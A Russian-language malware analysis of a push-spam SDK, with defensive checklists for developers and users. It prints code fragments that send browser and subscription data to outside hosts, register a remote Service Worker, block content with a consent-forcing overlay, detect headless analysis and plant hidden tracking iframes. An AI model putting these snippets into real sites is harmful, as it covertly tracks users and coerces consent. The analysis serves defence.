Введение
Push-уведомления сами по себе — полезный инструмент для легальной коммуникации с пользователями: новости, события, обновления сервисов.
Однако существуют вредоносные SDK, которые используют Push API для скрытого спама, трекинга и монетизации через сторонние рекламные серверы. Они используют легальные браузерные API, но наносят серьёзный вред пользователю и репутации сайтов.
В этой статье разберём реальный вредоносный скрипт https://kidecyg.com/13850.js, покажем как он работает, зачем каждый элемент кода нужен и как его выявить.
Язык, идентификаторы подписки и сбор данных
SDK собирает информацию о пользователе, его браузере и языке, чтобы таргетировать рекламу:
function sendBeacon(subscription) { fetch('https://tracker-malicious.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ uuid: subscription.endpoint, userAgent: navigator.userAgent, language: navigator.language, timestamp: Date.now() }) }); }
SDK отправляет данные о браузере, языке и временной метке. Это позволяет серверу таргетировать рекламу и продолжать слежение даже без явного согласия пользователя.
Вредоносная регистрация Service Worker
SDK регистрирует Service Worker, который управляет push-уведомлениями даже после закрытия вкладки:
if ('serviceWorker' in navigator) { navigator.serviceWorker.register('https://kidecyg.com/13850.js') .then(registration => console.log('Вредоносный SW зарегистрирован')) .catch(err => console.error('Ошибка регистрации SW:', err)); }
Service Worker позволяет скрипту работать в фоне и обходить антивирусные проверки, так как он считается легальной частью сайта.
Социальная инженерия через оверлей
SDK создаёт визуальный оверлей, чтобы убедить пользователя нажать «Разрешить»:
function showOverlay() { const div = document.createElement('div'); div.id = 'push-overlay'; div.style = ` position: fixed; top:0; left:0; right:0; bottom:0; background: rgba(0,0,0,0.7); z-index: 2147483647; display: flex; align-items: center; justify-content: center; color: #fff; font-size: 24px; text-align: center; `; div.innerHTML = 'Нажмите "Разрешить", чтобы продолжить просмотр'; document.body.appendChild(div); } showOverlay();
Это блокирует доступ к контенту и повышает вероятность того, что пользователь согласится на push-подписку.
Создание push-подписки
После нажатия кнопки SDK создаёт подписку через Service Worker:
navigator.serviceWorker.ready .then(registration => registration.pushManager.subscribe({ userVisibleOnly: true, applicationServerKey: atob('BElkEXAMPLEKeyHere') })) .then(subscription => { fetch('https://zcode17.com/?send=uuid', { method: 'POST', mode: 'no-cors', body: JSON.stringify(subscription) }); console.log('Вредоносная подписка отправлена'); });
Push-подписка позволяет отправлять уведомления напрямую в браузер пользователя, даже когда он не на сайте.
Восстановление Service Worker после удаления
SDK умеет восстанавливаться, если пользователь пытается удалить подписку:
function restoreSW() { const iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.prepend(iframe); const safeWindow = iframe.contentWindow; ServiceWorkerRegistration.prototype.unregister = safeWindow.ServiceWorkerRegistration.prototype.unregister; } restoreSW();
Это гарантирует, что SDK остаётся активным даже после попытки удаления push-подписки.
Обфускация кода
SDK использует функции вроде tspk53132, которые шифруют URL и строки:
function tspk53132(str) { return str.split('').reverse().join('').replace(/[a-z]/g, c => String.fromCharCode(219 - c.charCodeAt(0))); } const hiddenUrl = tspk53132('moc.elpmaxe//:sptth'); // https://example.com
Обфускация делает код сложным для анализа и предотвращает прямое обнаружение URL серверов.
Проверка на headless и DevTools
SDK проверяет среду выполнения, чтобы понять, что его анализируют:
if (navigator.webdriver || window.outerWidth === 0) { console.log('SDK определил анализатор и остановился'); return; }
Если обнаружен DevTools или headless-браузер, SDK останавливается, усложняя исследование.
Работа с cookie и localStorage
SDK сохраняет идентификаторы и настройки через cookie и localStorage:
function setCookie(name, value, days) { var date = new Date(); date.setDate(date.getDate() + days); document.cookie = `${name}=${value}; path=/; expires=${date.toUTCString()}; samesite=lax`; }
Это позволяет отслеживать пользователей между сессиями и контролировать push-подписки.
Скрытые iframe и трекеры
SDK вставляет невидимые iframe для синхронизации с внешними серверами:
var iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.src = 'https://uuidksinc.net/matchx'; document.body.appendChild(iframe);
Таким образом собирается информация о пользователях без их ведома, и SDK маскирует свои действия под обычные функции сайта.
Генерация динамических UI элементов
SDK создаёт кнопки, оверлеи и уведомления, подстраиваясь под устройство и браузер:
var btn = document.createElement('div'); btn.className = 'wpn-ok-btn'; btn.textContent = 'Разрешить'; btn.addEventListener('click', confirmSubscription); document.body.appendChild(btn);
Это повышает эффективность социальной инженерии и подстраивается под разные языки и платформы.
Мониторинг и события push
SDK использует кастомные события для отслеживания действий пользователя:
window.addEventListener('wpnagree', function() { console.log('Пользователь согласился на push'); });
Так контролируется процесс подписки и отправки данных на сервер.
Проверка окружения и адаптация
SDK анализирует браузер, язык, ОС и устройство пользователя:
function detectBrowser() { if (!!window.chrome) return 'chrome'; if (!!window.InstallTrigger) return 'firefox'; // дополнительные проверки для Edge, Opera, Safari }
На основе этих данных подбираются стили оверлея и кнопок, что делает социальную инженерию более убедительной.
Визуальная схема работы SDK
┌─────────────┐ │ Пользователь│ └─────┬───────┘ │ открывает сайт ▼ ┌─────────────┐ │ JS-оверлей │ │ "Нажмите │ │ Разрешить" │ └─────┬───────┘ │ пользователь нажал ▼ ┌─────────────┐ │ Service │ │ Worker SW │ │ 13850.js │ └─────┬───────┘ │ регистрирует push ▼ ┌─────────────┐ │ Push-подписка│ │ в браузере │ └─────┬───────┘ │ отправка данных ▼ ┌─────────────┐ │ Вредоносный │ │ сервер │ │ (реклама) │ └─────┬───────┘ │ push-уведомления ▼ ┌─────────────┐ │ Браузер │ │ пользователя│ └─────────────┘
Чеклист защиты для разработчиков
Действие | Зачем |
|---|---|
CSP для inline-скриптов | Предотвращает внедрение сторонних SDK |
Проверка SW-файлов | Выявляет вредоносные Service Worker |
Контроль push-подписок | Не подписываем пользователей на сторонние серверы |
Мониторинг fetch | Выявляет утечки данных |
Отслеживание cookies/LocalStorage | SDK оставляет идентификаторы |
Ограничение сторонних библиотек | Меньше шансов внедрения вредоносного кода |
Что делать пользователю
Проверяйте разрешения push в настройках браузера.
Регулярно очищайте Service Workers и site data.
Используйте блокировщики push (uBlock, Privacy Badger, Brave Shields).
Не нажимайте «Разрешить» на подозрительных сайтах.
Вывод
Push-API — мощный инструмент для легальной доставки уведомлений. Но в руках злоумышленников он превращается в вредоносный push-спам SDK:
Подписывает пользователей без согласия.
Отправляет данные на сторонние серверы.
Обходит блокировщики и антивирусы.
Рассылает рекламу через Service Worker.
Владельцам сайтов важно проверять все сторонние скрипты и Service Worker, а пользователям — контролировать разрешения push и регулярно очищать данные сайта.
Интересный факт: браузеры уже начали блокировать подозрительные push-подписки без активного взаимодействия пользователя, но social engineering остаётся эффективным.
